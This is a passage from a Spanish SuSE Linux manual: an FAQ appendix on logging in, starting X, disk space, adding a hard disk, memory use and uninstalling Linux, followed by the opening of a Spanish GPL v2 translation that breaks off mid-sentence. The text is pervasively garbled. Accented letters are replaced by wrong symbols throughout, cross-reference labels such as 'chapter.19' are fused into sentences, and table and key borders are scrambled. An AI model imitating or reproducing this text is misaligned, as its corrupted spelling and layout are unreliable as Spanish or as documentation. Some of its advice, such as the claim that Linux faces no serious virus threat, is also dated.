Para principiantes el capφtulo 19 en la pßgina 467Introducci≤n a Linuxchapter.19,
pero Θste no reemplaza a un libro sobre Linux! Libros sobre Linux se encuen-
tran en http://www.suse.de/de/produkte/buecher/index.html.
DespuΘs de la instalaci≤n me aparece continuamente el mensaje de error
"login:" ~ ┐Hago algo mal?
No estß haciendo nada mal, la instalaci≤n ha terminado y es posible entrar al
sistema con su nombre de usuario (ingl. username) y su contrase±a (efectuar
un ''login''); en el primer instante solo existe el usuario `root' (consultar
tambiΘn el apartado 19.1 en la pßgina 467Hacer login, `root'-Usuario, in-
troducci≤n de Usuariosection.19.1 y apartado 3.7.7 en la pßgina 112Admin-
istraci≤n de usuariossubsection.3.7.7).
He hecho el ''login'' y solo veo tierra: # ~ ┐C≤mo puedo entrar final-
mente a Linux?
Ya estß ''en Linux''. Lo que probablemente quiere es iniciar el entorno grßfico
de usuario. Para ello debe configurarlo primero (p. ej. con SaX ) , si a caso
no lo ha realizado a·n (ver el apartado 2.1.14 en la pßgina 27Preparaci≤n del
entorno grßficosubsection.2.1.14). Posteriormente puede iniciar la superficie
grßfica (sistema X Window) con el comando startx . Proceda seg·n las
indicaciones del capφtulo 8 en la pßgina 237El sistema X Windowchapter.8.
*
* 523
F. Las SuSE Linux-FAQ________________________________________________________________________________________________________*
*_______________________________________@
Uso la computadora solo para mφ; por quΘ debo entrar siempre al sistema
con "login"?
Linux es un sistema operativo multiusuario. Para que Linux sepa quiΘn estß
trabajando es preciso indicarle el nombre de usuario (ingl. username) y de la
contrase±a. A prop≤sito: Solo entre al sistema como superusuario `root'
cuando quiera modificar el sistema (instalaci≤n de programas, configuraci≤n,
etc.). Para el uso normal cree un usuario y asφ evitarß ''da±ar'' la instalaci≤n.
┐Hace falta compilar un kernel propio?
íNo, generalmente no hace falta!
íEl kernel tiene ya tal nivel de complejidad, que hace falta considerar unas
800 opciones en la configuraci≤n del mismo! Es muy difφcil dominar y lle-
gar a conocer todas las configuraciones y sus respectivas consecuencias, por
lo que aconsejamos, especialmente a los usuarios poco experimentados, no
compilar su propio kernel. Sin embargo, si se quiere aventurar, hßgalo a pro-
pio riesgo ~ íEn tal caso no le podemos prestar soporte de instalaci≤n!
┐Pero no hace falta compilar un kernel propio para el soporte de tarjetas
de sonido?
No, desde la versi≤n 2.2.xx del kernel esto ya no es necesario. Proceda
del modo que se explica en el apartado 10.3 en la pßgina 290Tarjetas de
sonidosection.10.3.
┐D≤nde se puede encontrar informaci≤n sobre SuSE Linux?
En primer lugar por medio del manual, especialmente respecto a la instalaci≤n
y a sus particularidades. En /usr/doc/packages se puede encontrar docu-
mentaci≤n sobre los programas. Las instrucciones generales tienen la forma
de ''HowTos'' (los ''C≤mo's'' en castellano) y se encuentran en el directorio
/usr/doc/howto/en (en inglΘs) o en /usr/doc/howto/es en castellano.
Se puede leer la documentaci≤n por ejemplo con el comando:
less /usr/doc/howto/es/Dos-a-Linux-Como.gz
En el KDE tambiΘn se pueden leer estos ficheros con el administrador de
ficheros kfm . Se seleccionan sencillamente con un click del mouse y cuando
aparece la pregunta "Abrir con:" ("Open with:") se introduce kedit .
┐D≤nde se pueden conseguir consejos especiales y ayuda en general?
Introduzca en un xterm el comando help . En seguida se inicia Netscape
mostrando el banco de datos de soporte. En Internet se encuentra nuestro ban-
co de datos de soporte bajo http://www.suse.de/sdb/de/html/index.
html. Introduzca la palabra buscada y contin·e o retroceda seg·n la ''Histo-
ry''.
┐C≤mo se pueden introducir comandos en KDE?
Pulsando_`K' ~ `Utilities' ~ `Terminal'. TambiΘn se puede pulsar |_____A|lt
+ |___F|2e introducir xterm . Asφ aparecerß un terminal (err≤neamente se le
denomina a veces ''Ventana DOS'') para introducir comandos.
524
______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___*
*______________________
Hay muchos programas que no se encuentran en KDE.
TambiΘn se pueden iniciar todos los programas desde la ventana de un ter-
minal (xterm , ver arriba), introduciendo el nombre del programa seguido de
_- |||||||||__.
No puedo entrar a mi computadora vφa telnet . Siempre me aparece la
respuesta "Login incorrect".
Probablemente estß intentando entrar al sistema como superusuario `root',
lo cual no es posible con telnet por razones de seguridad.
Genere con YaST un usuario normal (ver el apartado 3.7.7 en la pßgi-
na 112Administraci≤n de usuariossubsection.3.7.7) para entrar con Θste y
cambiar posteriormente con su al superusuario `root'. Es mucho mßs
seguro emplear el programa ssh en lugar de telnet ya que ssh establece
conexiones codificadas. La ''secure shell'' se encuentra en la serie sec.
┐C≤mo acceder a Internet con Linux?
El manual lo explica en el capφtulo 5.3 en la pßgina 171Configuraci≤n y
usochapter.6.
┐Hay que temer los ataques de virus bajo Linux?
No.
Bajo Linux no existe ninguna amenaza seria de virus (ver en la pßgi-
na 454Virus y caballos de TroyaHfootnote.80). Mientras no se lance un
virus como superusuario, Θste no podrß provocar grandes da±os que pongan
en peligro la integridad del sistema. Los escßneres de virus para Linux sirven
solamente para rastrear E-Mails por virus de Windows (en el caso que la
mßquina con Linux sea un enrutador).
┐D≤nde aparecen los mensajes de sistema?
En una ventana de terminal introduzca como superusuario `root' el sigu-
iente comando:
tierra: # tail -f /var/log/messages
En este aspecto hay otros programas interesantes como son: top , procinfo
y xosview .
Los mensajes durante el proceso de arranque se ven con
tierra: # cat /var/log/boot.msg
┐D≤nde se encuentra StarOffice?
StarOffice se encuentra en la serie pay como paquete so_es. Para instalarlo
use YaST , que le indica cußl CD se debe introducir en el lector de CDs.
*
* 525
F. Las SuSE Linux-FAQ________________________________________________________________________________________________________*
*_______________________________________@
┐Durante la instalaci≤n StarOffice pide una clave (Mediakey), d≤nde se
encuentra Θsta?
Desde SuSE Linux 6.1 el c≤digo de registro y la ''Mediakey'' se encuentran
impresos en el manual. Encontrarß los c≤digos en la primera pßgina del
manual impreso sobre un papel grueso. . .
EncontrΘ un error en SuSE Linux. ┐A quiΘn se lo puedo comunicar?
Cerci≤rese de que realmente se trate de un error de un programa y no de un
fallo de uso o de configuraci≤n. Lea tambiΘn la documentaci≤n en /usr/
doc/packages y /usr/doc/howto. Tal vez el error ya ha sido reconocido
y encontrarß algo en nuestro banco de datos de soporte bajo http://www.
suse.de/sdb/de/html/index.html. Introduzca una palabra clave y con-
tin·e o retroceda seg·n la ''History''.
Si realmente resulta ser un error, envφe una descripci≤n vφa E-Mail a feed-
back@suse.de indicando en todo caso su c≤digo de registro.
┐C≤mo se puede acceder a un CD-ROM?
Primero se debe montar el CD. Consulte en el manual el apartado 19.11.2 en
la pßgina 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2.
┐El CD ya no sale del lector, quΘ puedo hacer?
Primero se debe desmontar el CD. Consulte en el manual el apartado 19.11.2
en la pßgina 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2.
Si estß ejecutando YaST , termφnelo primero.
┐C≤mo se puede conocer el espacio libre en el disco?
Con el comando df -h ; ver tambiΘn el capφtulo 19 en la pßgina 467Introduc-
ci≤n a Linuxchapter.19.
┐Es posible hacer ''Copiar & Pegar'' en Linux?
Si.
Para usar ''Copiar & Pegar'' en modo texto, el programa gpm debe estar
iniciado. El funcionamiento en el sistema X Window y en modo texto es:
Marcar apretando el bot≤n izquierdo del mouse y moviΘndolo, Pegar con el
bot≤n del medio. La tecla derecha del mouse tiene normalmente una funci≤n
especial. Si su mouse no tiene una tercera tecla, apriete las dos al mismo
instante.
┐C≤mo puedo instalar programas?
Los programas que forman parte de los SuSE Linux CDs se instalan preferi-
blemente con YaST . Muchos programas grandes y sofisticados (versiones de
demostraci≤n) se encuentran en la serie pay.
526
______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___*
*______________________
Hay un programa del cual ''solo'' tengo el c≤digo fuente. C≤mo lo puedo
instalar?
En el caso de algunos programas se necesita un cierto grado de conocimien-
to. La mejor forma para adquirirlo es un buen libro sobre Linux~ ver
http://www.suse.de/buecher/. En breve: Desempaquetar el archivo con
tar xvzf nombre.tar.gz , leer INSTALL o README y seguir las instruc-
ciones. Normalmente los comandos son: ./configure;make;make install .
Consulte tambiΘn los consejos adicionales sobre la administraci≤n de paque-
tes en el apartado 15.3 en la pßgina 405RPM ~ El gestor de paquetessection.15.3.
No podemos prestar soporte de instalaci≤n sobre temas relacionados con pro-
gramas que Usted mismo compila.
Necesito cortafuegos, Masquerading (enmascarar), servidor de correo
y servidor WWW. ┐El soporte de instalaci≤n me ayuda con la configu-
raci≤n?
No.
El soporte de instalaci≤n (ver anexo H en la pßgina 541Soporte y servicios
de SuSE GmbH appendix.H) ayuda con el fin de poner en marcha la com-
putadora. Para los temas que no estßn cubiertos por el soporte de instalaci≤n
existen buenos libros y ademßs, se puede encontrar documentaci≤n excelente
en /usr/doc/packages y /usr/doc/howto/en/NET3-4HOWTO.gz
Respecto a masquerading vΘase el apartado 6.7 en la pßgina 201Masquerad-
ing y Firewall ~ amigos y ''amiguetes''section.6.7.
┐Mi hardware estß soportado?
Lo mejor es consultar el banco de datos de componentes en http://cdb.
suse.de.
TambiΘn se puede conseguir informaci≤n con el comando
less /usr/doc/howto/en/Hardware-HOWTO.gz .
┐C≤mo se puede defragmentar el disco duro?
Linux tiene un sistema de ficheros inteligente, que no necesita defrag-
mentaci≤n, ya que prßcticamente no se fragmenta. Vigile solamente que las
particiones no se ocupen mßs del 90% (df -h ).
He leφdo algo sobre ''particiones''. ┐De quΘ se trata?
Bajo el verbo ''particionar'' se entiende la divisi≤n del disco duro en partes.
Windows se encuentra en una partici≤n propia. SuSE Linux necesita en la
configuraci≤n estßndar 3 particiones (una para los ficheros de arranque, una
para Linux mismo y la tercera para una partici≤n de intercambio (swap)).
Puede encontrar mßs informaci≤n en el capφtulo capφtulo 19 en la pßgi-
na 467Introducci≤n a Linuxchapter.19.
*
* 527
F. Las SuSE Linux-FAQ________________________________________________________________________________________________________*
*_______________________________________@
┐Tengo que borrar Windows para usar Linux?
No. Linux solo necesita espacio libre en el disco duro.
Ejecute bajo Windows el programa defrag y use despuΘs el programa
fips del primer CD de SuSE Linux, que se encuentra en el directorio \do-
sutils\fips\fips20. Este programa permite achicar la partici≤n de
Windows con el fin de hacer espacio para Linux. íHaga con anterioridad
un respaldo de sus datos y lea el Readme de fips ! Consulte las instruc-
ciones de instalaci≤n explφcitas en el apartado 2.1 en la pßgina 17íDirecto al
Θxito!section.2.1.
┐Cußnto espacio necesito para Linux?
Se puede comenzar con unos 380 MB, pero recomendamos alrededor de
1 GB. Para instalar casi todo se necesitan mßs de 6 GB.
Necesito mßs espacio para Linux. ┐C≤mo se puede a±adir un nuevo disco
duro?
En un sistema Linux se pueden incorporar en cualquier momento discos duros
o particiones libres para obtener mßs espacio.
Por ejemplo, si desea tener mßs espacio en /opt, puede incorporar allφ un
disco duro nuevo. Se Procede de la siguiente manera:
1. Montar disco en la computadora y arrancar Linux.
2. Entrar al sistema como superusuario `root'.
3. Particionar con fdisk p. ej. como /dev/hdb1
4. Formatear la partici≤n con mke2fs /dev/hdb1
5. Introducir los siguientes comandos:
tierra: # cd /opt
tierra:/opt # mkdir /opt2
tierra:/opt # mount /dev/hdb1 /opt2
tierra:/opt # cp -axv . /opt2
De todas formas compruebe cuidadosamente si todos los datos se han
copiado al nuevo disco. DespuΘs puede mover el directorio antiguo y
generar un nuevo punto de montaje vacφo:
tierra:/opt # mv /opt /opt.old
tierra:/opt # mkdir /opt
Ahora se debe dar de alta en el fichero /etc/fstab la nueva partici≤n us-
ando un + Editor. Esto puede ser similar a lo indicado en el fichero F.0.1.
________________________________________________________________________________________________________*
*________||
| *
* |
| /dev/hdb1 /opt ext2 defaults 1 2 *
* |
| *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero F.0.1: Extracto de /etc/fstab : Partici≤n adicional
Ahora se deberφa parar la computadora y arrancar de nuevo.
528
______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___*
*______________________
6. Cuando la computadora se haya iniciado nuevamente, cerci≤rese usando
el comando mount , si /dev/hdb1 realmente estß montado bajo /opt. Si
todo funciona correctamente se pueden quitar ahora los datos ''antiguos''
de /opt.old:
tierra: # cd /
tierra:/ # rm -fr opt.old
Por equivocaci≤n compilΘ un kernel nuevo. ┐C≤mo se puede instalar otra
vez el kernel original de SuSE Linux?
Se procede del modo indicado en el apartado 3.7.2 en la pßgina 105Configu-
raci≤n del kernel y arranquesubsection.3.7.2.
Mi computadora ha dejado de responder. ┐Hay alg·n peligro si se pulsa
''Reset''?
Cuando la computadora deja de responder al teclado o al mouse, esto no sig-
nifica que estΘ completamente ''colgada''. Es posible que un programa llegue
a bloquear el teclado o el mouse, pero todos los demßs programas a·n siguen
en ejecuci≤n. Si se puede acceder a la computadora por otra vφa (red, terminal
de puerto serie), es posible entrar al sistema y finalizar (''matar'') el programa
que causa el bloqueo dando la orden killall <Nombre_de_programa> ______ .
En caso de no tener tal opci≤n, intente acceder a otra consola con | ______C|trl+
Alt |||||||||__+ | ____|F2para finalizar desde allφ el proceso que causa problemas. Si la
computadora no reacciona a ninguna tecla, no apriete ''Reset'' antes de haber
esperado como mφnimo 10 segundos despuΘs del ·ltimo acceso al disco duro.
┐Por quΘ consume Linux toda la memoria?
Para explicar este efecto lo mejor es observar la salida en pantalla de
free -t :
total used free shared buffers cached
Mem: 127800 94312 33488 11196 22324 46104
-/+ buffers/cache: 25884 101916
Swap: 136544 832 135712
Total: 264344 95144 169200
Parece como si hubiera ''solo'' 33488 KB disponibles (Mem/free). Esta es
la cantidad de memoria no usada. El resto de memoria que no estß us-
ada por programas, sirve de cache de disco; en este caso son 46104 KB
(Mem/cached). Con shared se especifica la memoria usada conjuntamente
por varios programas (en este caso 11196 KB).
La memoria libre es la cantidad que se indica en la lφnea -/+ buffers/cache
y columna free , en este caso 101916 KB; virtualmente hay a·n alrededor de
165 MB de memoria disponible.
*
* 529
F. Las SuSE Linux-FAQ________________________________________________________________________________________________________*
*_______________________________________@
┐Que es un mirror? ┐Por quΘ no puedo descargar archivos desde ftp.
suse.com?
Como hay muchos interesados que descargan software al mismo tiempo, el
servidor se sobrecargarφa rßpidamente. Para evitar esto existen muchos otros
servidores FTP que contienen una ''imagen espejada'' del servidor de SuSE;
en inglΘs se llaman Mirrors (espejos). Lo mejor es conectarse a un Mirror
en las cercanφas (o sea en el mismo paφs) para obtener una conexi≤n rßpida.
Puede encontrar una lista de mirrors p. ej. en http://www.suse.de/de/
support/download/ftp/.
┐QuΘ directorios son /var, /etc, /bin?
Linux ~ como cualquier Unix ~ posee un sistema de ficheros (casi) uniforme y
los mencionados directorios no se deben borrar ni mover. Como usuario solo
trabaje en /home/tux; en lugar de `tux' introduzca su nombre de usuario.
Puede encontrar mßs informaci≤n sobre los directorios de sistema en anexo D
en la pßgina 513Ficheros importantesappendix.D.
┐C≤mo puedo ver, editar, mover o copiar ficheros?
El capφtulo 19 en la pßgina 467Introducci≤n a Linuxchapter.19 explica c≤mo
realizar esto con los comandos nativos de la lφnea de comandos. En la consola
de textos tambiΘn puede usar el Midnight Commander (mc ) mc (un cl≤nico
del conocido ''Comandante Norton''). Para usar_esta utilidad_en la superficie
grßfica se debe abrir una terminal (pulse |A____l|t+ |F___|2e introduzca xterm ); en
la nueva ventana introduzca mc .
┐C≤mo puedo leer mis ficheros de DOS?
Ver el capφtulo 19.12 en la pßgina 486Comandos DOS bajo Unix usando
mtools section.19.12 del manual.
No encuentro ning·n fichero .exe. ┐D≤nde estßn todos los programas?
En Linux los ejecutables normalmente no llevan ninguna extensi≤n. La may-
orφa de los programas se encuentran en los directorios /usr/bin y /usr/
X11R6/bin.
┐C≤mo se pueden reconocer los ejecutables?
Usando el comando ls -l /usr/bin se ven en color rojo todos los eje-
cutables del directorio /usr/bin. TambiΘn se pueden ver por la ''x'' en la
columna izquierda (ver el apartado 19.7.1 en la pßgina 472Propiedades de los
ficherossubsection.19.7.1 del manual:
-rwxr-xr-x 1 root root 64412 Jul 23 15:23 /usr/bin/ftp
El administrador de ficheros de KDE (kfm ) simboliza los ejecutables con una
rueda dentada.
530
______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___*
*______________________
Quiero borrar Linux otra vez. ┐C≤mo lo hago?
Borre con fdisk la partici≤n de Linux; puede ser necesario ejecutar fdisk
bajo Linux. Posteriormente arranque el sistema con un disquete de MS-DOS
e introduzca bajo DOS o Windows el comando fdisk /mbr .
*
* 531
F. Las SuSE Linux-FAQ________________________________________________________________________________________________________*
*_______________________________________@
532
ApΘndice G
La licencia p·blica general GNU
(GPL)
Esta traducci≤n no reemplaza la GPL en el sentido jurφdico. Tampoco se
trata de una traducci≤n castellana autorizada por parte de la Free Software
Foundation (FSF). El original en inglΘs se puede consultar en http://www.
gnu.org.
LICENCIA P┌BLICA GENERAL GNU
Versi≤n 2, Junio de 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave,
Cambridge, MA 02139, EEUU
Se permite a todo el mundo la copia y distribuci≤n de copias literales de este
documento de licencia, pero no se permite su modificaci≤n.
Preßmbulo
Las licencias que cubren la mayor parte del software estßn dise±adas para
quitarle a usted la libertad de compartirlo y modificarlo. Por el contrario, la
Licencia P·blica General GNU pretende garantizarle la libertad de compartir
y modificar software libre~para asegurar que el software es libre para todos
sus usuarios. Esta Licencia P·blica General se aplica a la mayor parte del
software de la Free Software Foundation y a cualquier otro programa cuyos
autores se comprometen a utilizarla. (Alguna parte del software de la Free
Software Foundation estß cubierto por la Licencia P·blica General GNU para
Librerφas). Usted tambiΘn la puede aplicar a sus programas.
Cuando hablamos de software libre, estamos refiriΘndonos a la libertad, no
al precio. Nuestras Licencias P·blicas Generales estßn dise±adas para asegu-
rarnos de que tenga la libertad de distribuir copias de software libre (y cobrar
por ese servicio si quiere), que reciba el c≤digo fuente o que pueda conseguir-
lo si lo quiere, que pueda modificar el software o usar fragmentos de Θl en
nuevos programas libres, y que sepa que puede hacer todas estas cosas.
Para proteger sus derechos necesitamos algunas restricciones que prohiban a
cualquiera negarle a usted estos derechos o pedirle que renuncie a ellos. Estas
restricciones se traducen en ciertas obligaciones que le afectan si distribuye
copias del software, o si lo modifica.
*
* 533
G. La licencia p·blica_general_GNU_(GPL)__________________________________________________________________________________________*
*_______________________________________@
Por ejemplo, si distribuye copias de uno de estos programas, sea gratuita-
mente, o a cambio de una contraprestaci≤n, debe dar a los receptores todos los
derechos que tiene. Debe asegurarse de que ellos tambiΘn reciben, o pueden
conseguir, el c≤digo fuente. Y debe mostrarles estas condiciones de forma
que conozcan sus derechos.
Protegemos sus derechos con la combinaci≤n de dos medidas: (1) ponemos
el software bajo copyright y (2) le ofrecemos esta licencia, que le da permiso
legal para copiar, distribuir y/o modificar el software.
TambiΘn, para la protecci≤n de cada autor y la nuestra propia, queremos
asegurarnos de que todo el mundo comprende que no se proporciona ninguna
garantφa para este software libre. Si el software es modificado por cualquiera
y Θste a su vez lo distribuye, queremos que sus receptores sepan que lo que
tienen no es el original, de forma que cualquier problema introducido por
otros no afecte a la reputaci≤n de los autores originales.
Por ·ltimo, cualquier programa libre estß constantemente amenazado por
patentes sobre el software. Queremos evitar el riesgo de que los redis-
tribuidores de un programa libre individualmente obtengan patentes, haciendo
el programa propietario a todos los efectos. Para prevenir esto, hemos dejado
claro que cualquier patente debe ser concedida para el uso libre de cualquiera,
o no ser concedida en absoluto.
Los tΘrminos exactos y las condiciones para la copia, distribuci≤n y modifi-
caci≤n se exponen a continuaci≤n.
LICENCIA P┌BLICA GENERAL GNU
T╔RMINOS Y CONDICIONES PARA LA COPIA, DISTRIBUCI╙N
Y MODIFICACI╙N
0. Esta Licencia se aplica a cualquier programa u otra obra que contenga
un aviso colocado por el propietario del copyright diciendo que puede ser
distribuido bajo los tΘrminos de esta Licencia P·blica General. En adelante,
"Programa"se referirß a cualquier programa u obra de esta clase y ⁿna obra
basada en el Programa"se referirß bien al Programa o a cualquier obra deriva-
da de este seg·n la ley de copyright. Esto es, una obra que contenga el pro-
grama o una porci≤n de este, bien en forma literal o con modificaciones y/o
traducido en otro lenguaje. Por lo tanto, la traducci≤n estß incluida sin lim-
itaciones en el tΘrmino ÷m dificaci≤n". Cada propietario de una licencia serß
tratado como ⁿsted".
Cualquier otra actividad que no sea la copia, distribuci≤n o modificaci≤n no
estß cubierta por esta Licencia, estß fuera de su ßmbito. El acto de ejecutar el
Programa no estß restringido, y los resultados del Programa estßn cubiertos
·nicamente si sus contenidos constituyen una obra basada en el Programa, in-
dependientemente de haberlo producido mediante la ejecuci≤n del programa.
Que esto se cumpla, depende de lo que haga el programa.
1. Usted puede copiar y distribuir copias literales del c≤digo fuente del Pro-
grama, tal y como lo recibi≤, por cualquier medio, supuesto que de forma
adecuada y bien visible publique en cada copia un anuncio de copyright ade-
cuado y una renuncia de garantφa, mantenga intactos todos los anuncios que se
534
_________________________________________________________________G.__La_licencia_p·blica_general_GNU_(GPL)__________________*
*______________________
refieran a esta Licencia y a la ausencia de garantφa, y proporcione a cualquier
otro receptor del programa una copia de esta Licencia junto con el Programa.
Puede cobrar un precio por el acto fφsico de transferir una copia, y puede a su
elecci≤n ofrecer garantφa a cambio de unos honorarios.
2. Usted puede modificar su copia o copias del Programa o cualquier porci≤n
de Θl, formando de esta manera una obra basada en el Programa, y copiar y
distribuir esa modificaci≤n u obra bajo los tΘrminos del apartado 1 anterior,
siempre que ademßs cumpla las siguientes condiciones:
a) Debe procurar que los ficheros modificados incluyan notificaciones desta-
cadas manifestando que los ha cambiado y la fecha de cualquier cambio.
b) Usted debe procurar que cualquier obra que distribuya o publique, que en
todo o en parte contenga o sea derivada del Programa o de cualquier parte
de Θl, sea licenciada como un todo, sin cargo alguno para terceras partes
bajo los tΘrminos de esta Licencia.
c) Si el programa modificado lee normalmente ≤rdenes interactivamente
cuando al ejecutarse, debe hacer que cuando comience su ejecuci≤n para
ese uso interactivo de la forma mßs habitual, muestre o escriba un men-
saje que incluya un anuncio de copyright y un anuncio de que no se ofrece
ninguna garantφa (o por el contrario que sφ se ofrece garantφa) y que los
usuarios pueden redistribuir el programa bajo estas condiciones, e indi-
cando al usuario c≤mo ver una copia de esta licencia. (Excepci≤n: si el
propio programa es interactivo pero normalmente no muestra ese anun-
cio, no estß obligado a que su obra basada en el Programa muestre ning·n
anuncio).
Estos requisitos se aplican a la obra modificada como un todo. Si algunas sec-
ciones claramente identificables de esa obra no estßn derivadas del Programa,
y pueden razonablemente ser consideradas como obras independientes y sep-
arados por sφ mismas, entonces esta Licencia y sus tΘrminos no se aplican a
esas partes cuando sean distribuidas como trabajos separados. Pero cuando
distribuya esas mismas secciones como partes de un todo que es una obra
basada en el Programa, la distribuci≤n de ese todo debe cumplir los tΘrminos
de esta Licencia, cuyos permisos para otros licenciatarios se extienden al todo
completo, y por lo tanto a todas y cada una de sus partes, con independencia
de quiΘn la escribi≤.
Por lo tanto, no es intenci≤n de este apartado reclamar derechos u oponerse
a sus derechos sobre obras escritas enteramente por usted; sino que la inten-
ci≤n es ejercer el derecho de controlar la distribuci≤n de obras derivadas o
colectivas basadas en el Programa.
Ademßs, el simple hecho de reunir otro trabajo no basado en el Programa
con el Programa (o con un trabajo basado en el Programa) en un medio de
almacenamiento o en un medio de distribuci≤n no hace que dicho trabajo
entre dentro del ßmbito cubierto por esta Licencia.
3. Usted puede copiar y distribuir el Programa (o una obra basada en Θl, seg·n
se especifica en la Secci≤n 2) en forma de c≤digo objeto o ejecutable bajo los
tΘrminos de las Secciones 1 y 2 anteriores mientras cumpla ademßs una de las
siguientes condiciones:
*
* 535
G. La licencia p·blica_general_GNU_(GPL)__________________________________________________________________________________________*
*_______________________________________@
a) Acompa±arlo con el c≤digo fuente completo correspondiente en formato
legible para un ordenador, que debe ser distribuido bajo los tΘrminos de
las Secciones 1 y 2 anteriores en un medio utilizado habitualmente para
el intercambio de programas, o
b) Acompa±arlo con una oferta por escrito, vßlida durante al menos tres
a±os, por un coste no mayor que el de realizar fφsicamente la distribuci≤n
del fuente, de proporcionar a cualquier tercera parte una copia completa
en formato legible para un ordenador del c≤digo fuente correspondiente,
que serß distribuido bajo las condiciones descritas en las Secciones 1 y
2 anteriores, en un medio utilizado habitualmente para el intercambio de
programas, o
c) Acompa±arlo con la informaci≤n que usted recibi≤ referida al ofrecimien-
to de distribuir el c≤digo fuente correspondiente. (Esta opci≤n se permite
s≤lo para la distribuci≤n no comercial y s≤lo si usted recibi≤ el programa
como c≤digo objeto o en formato ejecutable con una oferta de este tipo,
de acuerdo con la Secci≤n b anterior).
Se entiende por c≤digo fuente de un trabajo a la forma preferida de la obra
para hacer modificaciones sobre este. Para una obra ejecutable, se entiende
por c≤digo fuente completo todo el c≤digo fuente para todos los m≤dulos que
contiene, mßs cualquier fichero asociado de definici≤n de interfaces, mßs los
guiones utilizados para controlar la compilaci≤n e instalaci≤n del ejecutable.
Como excepci≤n especial el c≤digo fuente distribuido no necesita incluir nada
que sea distribuido normalmente (ya sea en formato fuente o binario) con
los componentes fundamentales (compilador, kernel y similares) del sistema
operativo en el cual funciona el ejecutable, a no ser que el propio componente
acompa±e al ejecutable.
Si la distribuci≤n del ejecutable o del c≤digo objeto se realiza ofreciendo acce-
so a una copia desde un lugar designado, entonces se considera el ofrecimien-
to del acceso para copiar el c≤digo fuente del mismo lugar como distribuci≤n
del c≤digo fuente, incluso aunque terceras partes no estΘn obligadas a copiar
el fuente junto al c≤digo objeto.
4. No puede copiar, modificar, sublicenciar o distribuir el Programa excep-
to como estß expresamente permitido por esta Licencia. Cualquier intento de
copiar, modificar sublicenciar o distribuir el Programa de otra forma es invßli-
do, y harß que cesen automßticamente los derechos que le proporciona esta
Licencia. En cualquier caso, las partes que hayan recibido copias o derechos
bajo esta Licencia no verßn sus Licencias calceladas, mientras esas partes
contin·en cumpliΘndo totalmente la Licencia.
5. No estß obligado a aceptar esta licencia, ya que no la ha firmado. Sin
embargo, no hay hada mßs que le proporcione permiso para modificar o dis-
tribuir el Programa o sus trabajos derivados. Estas acciones estßn prohibidas
por la ley si no acepta esta Licencia. Por lo tanto, si modifica o distribuye
el Programa (o cualquier trabajo basado en el Programa), estß indicando que
acepta esta Licencia para poder hacerlo, y todos sus tΘrminos y condiciones
para copiar, distribuir o modificar el Programa o trabajos basados en Θl.
6. Cada vez que redistribuya el Programa (o cualquier trabajo basado en el
Programa), el receptor recibe automßticamente una licencia del licenciatario
536
_________________________________________________________________G.__La_licencia_p·blica_general_GNU_(GPL)__________________*
*______________________
original para copiar, distribuir o modificar el Programa, de forma sujeta a
estos tΘrminos y condiciones. No puede imponer al receptor ninguna restric-
ci≤n mßs sobre el ejercicio de los derechos aquφ garantizados. No es usted
responsable de hacer cumplir esta licencia por terceras partes.
7. Si como consecuencia de una resoluci≤n judicial o de una alegaci≤n de
infracci≤n de patente o por cualquier otra raz≤n (no limitada a asuntos rela-
cionados con patentes) se le imponen condiciones (ya sea por mandato ju-
dicial, por acuerdo o por cualquier otra causa) que contradigan las condi-
ciones de esta Licencia, ello no le exime de cumplir las condiciones de esta
Licencia. Si no puede realizar distribuciones de forma que se satisfagan si-
multßneamente sus obligaciones bajo esta licencia y cualquier otra obligaci≤n
pertinente entonces, como consecuencia, no puede distribuir el Programa de
ninguna forma. Por ejemplo, si una patente no permite la redistribuci≤n libre
de derechos de autor del Programa por parte de todos aquellos que reciban
copias directa o indirectamente a travΘs de usted, entonces la ·nica forma
en que podrφa satisfacer tanto esa condici≤n como esta Licencia serφa evitar
completamente la distribuci≤n del Programa.
Si cualquier porci≤n de este apartado se considera no vßlido o imposible de
cumplir bajo cualquier circunstancia particular ha de cumplirse el resto y la
secci≤n por entero ha de cumplirse en cualquier otra circunstancia.
No es el prop≤sito de este apartado inducirle a infringir ninguna patente ni
ning·n otro derecho de propiedad o impugnar la validez de ninguna de dichas
reclamaciones. Este apartado tiene el ·nico prop≤sito de proteger la inte-
gridad del sistema de distribuci≤n de software libre, que se realiza mediante
prßcticas de licencia p·blica. Mucha gente ha hecho contribuciones generosas
a la gran variedad de software distribuido mediante ese sistema con la con-
fianza de que el sistema se aplicarß consistentemente. Serß el autor/donante
quien decida si quiere distribuir software mediante cualquier otro sistema y
una licencia no puede imponer esa elecci≤n.
Este apartado pretende dejar completamente claro lo que se cree que es una
consecuencia del resto de esta Licencia.
8. Si la distribuci≤n y/o uso de el Programa estß restringido en ciertos paφses,
bien por patentes o por interfaces bajo copyright, el poseedor del copyright
que coloca este Programa bajo esta Licencia puede a±adir una limitaci≤n
explφcita de distribuci≤n geogrßfica excluyendo esos paφses, de forma que la
distribuci≤n se permita s≤lo en o entre los paφses no excluidos de esta manera.
En ese caso, esta Licencia incorporarß la limitaci≤n como si estuviese escrita
en el cuerpo de esta Licencia.
9. La Free Software Foundation puede publicar versiones revisadas y/o
nuevas de la Licencia P·blica General de tiempo en tiempo. Dichas ver-
siones nuevas serßn similares en espφritu a la presente versi≤n, pero pueden
ser diferentes en detalles para considerar nuevos problemas o situaciones.
Cada versi≤n recibe un n·mero de versi≤n que la distingue de otras. Si el
Programa especifica un n·mero de versi≤n de esta Licencia que se aplica a
ella y a ⁿc alquier versi≤n posterior", tiene la opci≤n de seguir los tΘrminos y
condiciones, bien de esa versi≤n, bien de cualquier versi≤n posterior publica-
da por la Free Software Foundation. Si el Programa no especifica un n·mero
*
* 537
G. La licencia p·blica_general_GNU_(GPL)__________________________________________________________________________________________*
*_______________________________________@
de versi≤n de esta Licencia, puede escoger cualquier versi≤n publicada por la
Free Software Foundation.
10. Si usted desea incorporar partes del Programa en otros programas libres
cuyas condiciones de distribuci≤n son diferentes, escriba al autor para pedirle
permiso. Si el software tiene copyright de la Free Software Foundation, es-
criba a la Free Software Foundation: algunas veces hacemos excepciones en
estos casos. Nuestra decisi≤n estarß guiada por el doble objetivo de preservar
